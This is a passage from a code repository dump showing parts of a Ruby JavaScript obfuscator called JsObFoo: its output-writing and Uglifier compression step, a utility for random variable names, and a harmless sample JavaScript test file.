@mm.run_modules(ast) 45 | 46 | final_source = ast.to_ecma 47 | final_source = js_compress(final_source) if @config.compress? 48 | 49 | #puts final_source 50 | write_source(final_source) 51 | end 52 | 53 | def js_compress(js_str) 54 | msg_info("Compressing Javascript source") 55 | 56 | u = ::Uglifier.new({:mangle => false}) 57 | u.compile(js_str) 58 | end 59 | 60 | def write_source(js) 61 | msg_info("Writing processed source: #{@config.output_file}") 62 | 63 | File.open(@config.output_file, "w") do |fd| 64 | fd.write(js) 65 | fd.close 66 | end 67 | end 68 | end 69 | 70 | end -------------------------------------------------------------------------------- /Web/JsObFoo/lib/jsobfoo/utils.rb: -------------------------------------------------------------------------------- 1 | module JsObFoo 2 | class Utils 3 | def self.random_data(table, count) 4 | out = "" 5 | count.times { out << table[ Random.rand(table.size) ] } 6 | 7 | return out 8 | end 9 | 10 | def self.random_string(n, numbers = false) 11 | charset = ("A".."Z").to_a 12 | charset += ("a".."z").to_a 13 | charset += ("0".."9").to_a if numbers 14 | 15 | random_data(charset, n) 16 | end 17 | 18 | def self.random_js_variable(n) 19 | random_string(1) + random_string(n - 1, true) 20 | end 21 | end 22 | end -------------------------------------------------------------------------------- /Web/JsObFoo/test/samples/simple.js: -------------------------------------------------------------------------------- 1 | var i = 0; 2 | var y = "ABCD"; 3 | 4 | function func1() { 5 | var f1 = 100; 6 | var f2 = f1 + 200; 7 | 8 | return f2; 9 | } 10 | 11 | function func2() { 12 | var f1 = 200; 13 | var f2 = f1 + 500; 14 | 15 | return f2; 16 | } 17 | 18 | for(i = 22; i < 44; i += 4) { 19 | //alert("Hello World"); 20 | } 21 | 22 | i += 2; 23 | 24 | alert(i); 25 | alert(func1()); 26 | alert(func2()); 27 | --------------------------------------------------------------------------------